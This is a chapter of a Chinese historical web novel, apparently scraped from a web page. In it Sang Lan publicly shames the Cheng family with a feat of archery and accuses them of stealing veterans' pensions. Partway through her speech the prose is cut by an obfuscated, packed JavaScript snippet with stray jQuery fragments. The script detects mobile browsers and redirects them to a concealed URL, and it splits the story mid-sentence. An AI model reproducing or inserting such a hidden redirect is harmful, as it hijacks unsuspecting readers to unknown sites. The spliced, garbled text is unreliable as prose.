“小弟,往后不能再做这事了,在父亲知道前,我会想办处理好。”
程德长子程烁揉着太阳穴,看着手中来信。
“赵家人在时,没人会提起我们程家,那赵老太婆倒好,直接解散赵家军,算哪门子事?老了蹬腿了,终于肯开门了。”
程德次子程斌,倒了杯酒:“弟弟心里堵着这口气,堵了二十多年,终于通气了。”
他饮下酒,眉目舒展:“哥别忙活了,弟弟留了后手。”
程烁问他:“什么后手?”对于这个相差十来岁的弟弟,从小当儿子养,虽然骄纵,但好过刘温,坑得全家人一起蹲大牢,落个满门抄斩的下场。
程斌:“横竖我们不在京,咬死不认,又能拿我们怎么办呢?我们俩手上有三万兵权,皇帝不会轻易动我们家。”他养了三年的杀手,是时候放出来溜溜了。死人,不会开口讲话。
萧槿打江山之余,还能给萧家培养出五支暗卫,他如何不能?要他说,领着燕州三万精兵,直入京城,挟天子以令诸侯……
程烁哪能猜到弟弟的想法,正盘算着朝中好友,能从哪里使上劲?朝中有人传言,赵家后人桑澜,不是个善茬,有望成为下一个卫安晏。
……
冷风吹进屋里,带进一句话。
“京兆府监牢遇袭。”
萧北辰快步走进屋中,见三人面色凝重,父王与姐姐手中拿着信:“发生了何事?”
萧北芸轻轻吸了一口气,拿信的指尖轻颤:“杨姨娘以我的名义,向外人泄露小澜的行踪。”
她懊恼地摇头:“我每月派人去庄子上送东西,才让她有了可乘之机。”
桑澜十分不解,她信芸姐姐断不会害她,但直觉告诉她,这里头藏着事:“你们告诉我,杨姨娘在庄子上养病。”
端亲王扶着把手坐下。
萧北芸抿唇,如何处置姨娘,合该由父王决断,容不得旁人置喙,纵使她想为小澜争上三分,她说的话,也没个分量。
两人不开口,桑澜的目光落到萧北辰身上。
竹叶青在京时,曾与她说:天南地北的镖路你都敢闯,唯独京城,你不去,尤其避开端亲王府。
话里话外,提醒她提防端亲王府的人。
入京后磕着两次头,她忘了些事,也忘记避开端亲王府的原因。
追问竹叶青,得到一句:我捡你回去时,你身上伤口化脓,发着高热,边哭,边大喊,骗子。
桑澜不愿去猜竹叶青话中深意,半年来,她将王府当成了自己的家。
她问:“表哥,我不该知情吗?”
三人缄舌闭口,让她生疑。
“世子,审出来了。”
门外砚书的声音适时响起。
桑澜察觉到姨夫松了口气,杨姨娘是姨夫枕边人,生养芸姐姐,杨姨娘替师父照顾表哥十几年。
唯有她是外人,她转身离开。
“小澜。”
端亲王起身叫住她。
桑澜没停下步伐:“刺客逃了一人,我先去京兆府找陆大人。”
麻雀从梅花枝飞走,越过青瓦红墙,消失不见,她生出了离开王府的心思。
屋内气氛低沉,砚书站在门前,不敢抬头:“世子,该过去了。”
萧北辰没去看那信件,开口像裹了冰霜,带着寒气:“父王,别忘了你上一次优柔寡断的代价。”他又看着萧北芸,“姐姐,莫辜负了她的信任。”
……
红袖香查到马家主谋,京兆府尹陆阳静脱不开身,将程家灵前闹事的案子移交给大理寺,大理寺卿唐大人抛下家中晚辈,专查此事。
日上三竿,程家依旧无人前来,府上来人传信,说是回乡祭祖,且让赵家后人等着。
“砚云,告诉表哥,我扮一回纨绔子弟。”
桑澜想离京前任性一回,省得京里人人拿她当软柿子,上午收回来的信息,实在可恨!
若不是要讲究个王法,她现在就想削了程家涉事之人的项上头颅。
她翻身上马,带着红杏回了一趟王府。
出来后,直奔一处未关门的书局。
巧了,遇上两个熟人。
“常夫子与陆同窗甚是交好,新年也是一道过啊。”接过掌柜递来的大纸,抬眼瞧见对过的酒肆,桑澜挥手,“红杏,去给我寻两筐臭鸡蛋来。”
陆斐听见桑澜哼着不知名的小曲,倒觉得她今日有些反常,忧心问了一句:“桑澜,你要臭鸡蛋作甚?”
桑澜轻笑一声:“请你们看出好戏。”
一刻钟后。
桑澜坐在黑色高马上,手执破晓,对准程府门前的侍卫。
大理寺来人传讯,无人应答。
她来找事,侍卫相迎。
“闪开。”
箭搭上破晓的弦。
常夫子惊愕:“她这是疯了?”
陆斐瞧着王府侍从捧着两匣子箭,心底暗道不妙,出于对桑澜的信任,宽慰常夫子:“还不至于当街射杀无辜之人吧。”
她话音一落。
破晓上,双箭齐发。
直冲两名侍卫脑门而去!
尖锐的破空声,叫陆斐与常夫子的心被高高挂起。
众人齐齐惊呼:赵家后人气疯了!
箭镞由两名程家侍卫发髻入木,尾羽震颤出一串蜂鸣声。
众人倒吸一口冷气。
两名程家侍卫回神后,下意识伸手摸向自己的额头,没有血。
红杏与小柳抱着大纸走到程府门前。
一左一右,拉开大纸。
桑澜又换了小箭,三箭齐发……
直到箭匣空了。
纸上赫然出现,八个由箭羽写成的大字。
常夫子念道:“草包挂帅,烂泥上墙。”心里石头落地,她笑着说,“桑澜也促狭了吧。”
“我看不止。”
陆斐扫了两筐臭鸡蛋,还有出现在王府侍卫身后的一群人。
年老,穿着朴素,身体有疾,眼中带着恨意。
桑澜调转马头,对着泱泱人群,高喊道:“二十年前,赵家为守裕城马革裹尸,以命换安。圣上亲封赵家满门为大夏忠烈之士,肱股之臣。
然,燕平将军头七未过,程家以利诱人,在燕平将军灵气滋事。人证物证俱在,却以回乡祭祖之言,拒绝上公堂。诸位可知为何?”
桑澜先看向王府请来的赵家军,再看向其余路人,她看见了五舅舅。
皇帝身着一身布衣,问道:“为何?”
“裕城一战并非赵家之功,而是七千赵家军将士用血肉之躯,死守裕城。故而战后,赵家散尽家财于赵家军。燕平将军一身伤病,无法视物,便将发放补助金一事交于程德将军,程家不知与当朝户部郎中瞿亮达成了什么勾当,于天启三年起,私吞补助金至今。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228917|156631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
赵家军退伍将士家属上门讨要,招致灭门之祸,断腿之灾。此事,我亦有人证物证。”
她撩起袖子,露出手臂上的一道血疤:“昨夜,程家前往赵家军退伍将士家中灭口,这是其中一项证据。”
陆斐一直关注的那群人动了,他们振臂高呼:“我们是赵家军退伍将士,我们可以作证!”
昨天小姨告诉陆斐,今日程家必然遭殃,她不信,拉着常夫子,两人在大理寺外的书局早早等上。
桑澜朝老兵们点头,又道:“我知在场许多人与我一般,并未经历过裕城之战,不知赵家军之难,更不知程家之贪、之恶。你们不信,人之常情,程府大门紧闭,但诸位可往赵家后厨走一趟,看看能不能找出一只不豁口的碗。”
她举起赵家令牌:“我虽从小流落在外,但赵王妃与萧世子将我寻回,燕平将军将此令牌交于我,他们望我能保住赵家的根。”
又一指,指向程府大门:“可程家怕有人查他们伙同瞿家,私吞赵家钱财,想将我赶出赵府。他们欺瞒圣听,草菅人命,无法无天。”
桑澜翻身下马,走到皇帝身前,俯身一拜:“人证物证俱全,望圣上能给赵家军一个公道!”
半日功夫,京城成了沸水铁锅,走到哪里都烫脚。
“程家门口砸满了臭鸡蛋,母亲准备什么时候帮一把程家?”
苏千柔替苏相翻着门客交上来的书信。
“雪中送炭,好过锦上添花。”苏相坐在摇椅上闭目养神,“从前,我们小看了桑澜,刘家之事,说不得也有她的手笔。
不识礼法,没读过正经诗书,一手字丑得出奇,但她很聪明,若她参加武举,必须叫她落选。眼下,我们要提防的是陆家,还不知陆阳静能查出多少内容来呢。
新年,难过,也得过。”
……
京兆府。
陆斐帮陆阳静捏着肩:“小姨,你对桑澜的判断,真是神了,一个晚上,她怎么能查到那么多证据?听说程将军下马就进了宫,至今还未出来。”
“她与她的朋友,一向如此。”陆阳静抓住侄女的手,“我不求你与她做挚交好友,但你断不可与她为敌。”
“为什么?”
“她这人背后有神灵保佑,与她做对的人,向来没有好下场。”
陆斐笑着,假装诧异问道:“小姨什么时候开始信神佛了?”
陆阳静睁眼,瞪她。
陆斐收起玩笑的心思:“侄女记下了。”在她心底,天底下最厉害的人是她的小姨,陆阳静。
小姨说得话,准没错。
“但小斐,你的脑子,比她适合科举。”陆阳静休息够了,穿上外衣,继续审阅口供,“带上你的朋友,一起去见你大姨,苏家求得的东西,我陆家亦可争上一争。”
陆家,未必不能三朝为相。
……
公主府。
“我想跟着小澜姐姐学习箭术,姐,你看成吗?”
萧星野兴奋地从程府跑回来:“姐,你是没看见那纸上的箭,入木门的深度,相距的宽度,一模一样!”
“我听人说了,小澜姐姐双箭齐发,直接将那两个人吓得尿裤子。他们还说,门上的箭字,是三箭为一发射上去的,我的天神啊,你弟弟我只见过一次小澜姐姐双箭齐发。就那一次,救了我和陆渝。”
萧夏彤自豪地笑道:“那是自然,她可是桑澜。”